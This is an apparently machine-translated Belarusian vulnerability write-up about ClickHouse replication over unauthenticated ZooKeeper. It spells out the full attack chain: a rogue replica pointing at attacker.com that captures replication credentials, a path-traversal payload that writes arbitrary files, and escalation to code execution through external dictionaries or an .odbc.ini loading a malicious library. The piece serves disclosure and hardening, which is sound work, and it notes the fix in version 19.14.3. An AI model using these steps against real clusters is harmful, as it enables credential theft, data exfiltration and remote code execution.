Навошта трэба трымаць клеткі ў заапарку зачыненымі

Навошта трэба трымаць клеткі ў заапарку зачыненымі

У гэтым артыкуле будзе гісторыя аб адной вельмі характэрнай уразлівасці ў пратаколе рэплікацыі ў ClickHouse, а таксама будзе паказана, як можна пашырыць плоскасць нападу.

ClickHouse - гэта база дадзеных для захоўвання вялікіх аб'ёмаў дадзеных, часцей за ўсё выкарыстоўваецца больш за адну рэплікі. Кластарызацыя і рэплікацыя ў ClickHouse будуюцца па-над Apache ZooKeeper (ZK) і патрабуюць правоў на запіс.

Усталяванне ZK па змаўчанні не патрабуе аўтэнтыфікацыі, так што тысячы ZK сервераў, якія выкарыстоўваюцца для канфігурацыі Kafka, Hadoop, ClickHouse даступныя публічна.

Для скарачэння плоскасці нападу вы заўсёды павінны наладжваць аўтэнтыфікацыю і аўтарызацыю пры ўсталёўцы ZooKeeper

Ёсць вядома некалькі 0day на аснове Java дэсерыялізацыі, але ўявіце сабе, што зламыснік можа чытаць і пісаць у ZooKeeper, які выкарыстоўваецца для рэплікацыі ClickHouse.

Пры наладзе ў кластарным рэжыме ClickHouse падтрымлівае размеркаваныя запыты DDL, якія праходзяць праз ZK – для іх вузлы ствараюцца ў лісце /clickhouse/task_queue/ddl.

Напрыклад вы ствараеце вузел /clickhouse/task_queue/ddl/query-0001 са змесцівам:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

а пасля гэтага на серверах кластара host1 і host2 табліца test будзе выдалена. DDL таксама падтрымлівае запуск запытаў CREATE/ALTER/DROP.

Гучыць страшна? Але дзе ж атакавалы зможа атрымаць адрасы сервераў?

Рэплікацыя ClickHouse працуе на ўзроўні асобных табліц, так што пры стварэнні табліцы ў ZK задаецца сервер, які будзе адказваць за абмен метададзенымі з рэплікамі. Напрыклад пры выкананні запыту (ZK павінен быць наладжаны, chXX - імя рэплікі, foobar - імя табліцы):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

будуць створаны вузлы слупкоў и метададзеных.

змесціва /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Ці можна зліць дадзеныя з гэтага кластара? Так, калі порт рэплікацыі (TCP/9009) на серверы chXX-address не будзе зачынены firewall і не будзе настроена аўтэнтыфікацыя для рэплікацыі. Як абысці аўтэнтыфікацыю?

Атакуючы можа стварыць новую рэпліку ў ZK, проста капіюючы змесціва з /clickhouse/tables/01-01/foobar/replicas/chXX і змяняючы значэнне host.

змесціва /clickhouse/tables/01–01/foobar/replicas/attacker/host:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

Затым трэба сказаць астатнім рэплікам, што на серверы атакавалага ёсць новы блок дадзеных, які ім трэба забраць - ствараецца вузел у ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX манатонна які расце лічыльнік, які павінен быць больш, чым апошні ў часопісе падзей):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

дзе source_replica - імя рэплікі атакавалага, створанай на папярэднім кроку, block_id - Ідэнтыфікатар блока дадзеных, атрымліваць - каманда "get block" (а тут каманды для іншых аперацый).

Далей кожная рэпліка чытае новую падзею ў часопісе і ідзе на сервер, падкантрольны зламысніку, для атрымання блока дадзеных (пратакол рэплікацыі двайковы, працуе па-над HTTP). Сервер attacker.com будзе атрымліваць запыты:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

дзе XXX - і ёсць дадзеныя аўтэнтыфікацыі для рэплікацыі. У некаторых выпадках гэта можа быць уліковы запіс з доступам да базы дадзеных па асноўным пратаколе ClickHouse і пратаколу HTTP. Як вы бачылі, плоскасць нападу становіцца крытычна вялікай, таму што ZooKeeper, які выкарыстоўваецца для рэплікацыі, застаўся без наладжанай аўтэнтыфікацыі.

Давайце паглядзім на функцыю атрымання блока дадзеных з рэплікі, яна напісана з поўнай упэўненасцю, што ўсе рэплікі пад правільным кантролем і паміж імі ёсць давер.

Навошта трэба трымаць клеткі ў заапарку зачыненымі
код апрацоўкі рэплікацыі

Функцыя чытае спіс файлаў, затым іх імёны, памеры, змесціва, пасля чаго піша іх у файлавай сістэме. Варта асобна апісаць, як захоўваюцца дадзеныя ў файлавай сістэме.

Ёсць некалькі падкаталогаў у /var/lib/clickhouse (каталог захоўвання па-змаўчанні з канфігурацыйнага файла):

Сцягі - каталог для запісу сцягоў, якія выкарыстоўваюцца пры аднаўленні пасля страты дадзеных;
tmp - каталог захоўвання часовых файлаў;
user_files - аперацыі з файламі ў запытах абмежаваныя гэтым каталогам (INTO OUTFILE і іншыя);
метададзеных - файлы sql з апісаннямі табліц;
preprocessed_configs - апрацаваныя вытворныя канфігурацыйныя файлы з /etc/clickhouse-server;
gegevens - уласна каталог з самімі дадзенымі, у гэтым выпадку для кожнай базы проста ствараецца асобны падкаталог тут (напрыклад /var/lib/clickhouse/data/default).

Для кожнай табліцы ствараецца падкаталог у каталогу з базай даных. Кожны слупок - асобны файл у залежнасці ад фармату рухавічка. Напрыклад для табліцы foobar, створанай атакавалым, будуць створаны наступныя файлы:

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

Рэпліка чакае атрыманні файлаў з такімі ж імёнамі пры апрацоўцы блока дадзеных і не правярае іх якім-небудзь спосабам.

Уважлівы чытач, верагодна, ужо чуў пра небяспечную канкатэнацыю file_name у функцыі WriteBufferFromFile. Так, гэта дазваляе атакаваламу запісаць адвольны кантэнт у любы файл на ФС з правамі карыстальніка clickhouse. Для гэтага рэпліка, падкантрольная атакаваламу, павінна вярнуць наступны адказ на запыт (для прастаты разумення дададзены пераносы радкоў):

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

а пасля канкатэнацыі ../../../../../../../../../tmp/pwned будзе запісаны файл /tmp/pwned са змесцівам hellofromzookeeper.

Ёсць некалькі варыянтаў ператварэння магчымасці запісу файлаў у выдалены запуск кода (RCE).

Вонкавыя слоўнікі ў RCE

У старых версіях каталог з наладамі ClickHouse захоўваўся з правамі карыстальніка Clickhouse па змаўчанні. Файлы налад уяўляюць сабой файлы XML, якія сэрвіс чытае пры запуску, а затым кэшуецца ў /var/lib/clickhouse/preprocessed_configs. Пры зменах яны перачытваюцца. Пры наяўнасці доступу да /etc/clickhouse-server атакуючы можа стварыць уласны знешні слоўнік выкананага тыпу, а затым выканаць адвольны код. Бягучыя версіі ClickHouse не даюць правы па-змаўчанні, але калі сервер паступова абнаўляўся - такія правы маглі і застацца. Калі вы займаецеся падтрымкай кластара ClickHouse, праверце правы на каталог з наладамі, ён павінен належаць карыстальніку root.

ODBC у RCE

Пры ўсталёўцы пакета ствараецца карыстач clickhouse, пры гэтым не ствараецца яго хатні каталог /nonexistent. Аднак пры выкарыстанні вонкавых слоўнікаў, або па іншых прычынах, адміністратары ствараюць каталог /nonexistent і даюць карыстачу clickhouse доступ на запіс у яго (ССЗБ! заўв. перакладчыка).

ClickHouse падтрымлівае ODBC і можа злучацца з іншымі базамі даных. У ODBC вы можаце пазначыць шлях да бібліятэкі з драйверам базы дадзеных (.so). Старыя версіі ClickHouse дазвалялі пракручваць такое прама ў апрацоўшчыку запытаў, але зараз дададзена стражэйшая праверка радка злучэння ў odbc-bridge, так што зараз немагчыма паказаць шлях да драйвера з запыту. Але атакавалы можа пісаць у хатні каталог, выкарыстоўваючы ўразлівасць, апісаную вышэй?

Давайце створым файл ~/.odbc.ini з такім змесцівам:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

затым пры запуску SELECT * FROM odbc('DSN=lalala', 'test', 'test'); будзе падгружана бібліятэка test.so і атрымана RCE (дзякуй buglloc за навядзенне).

Гэтыя і іншыя ўразлівасці былі выпраўлены ў версіі ClickHouse 19.14.3. Беражыце свае ClickHouse і ZooKeepers!

Крыніца: habr.com

Дадаць каментар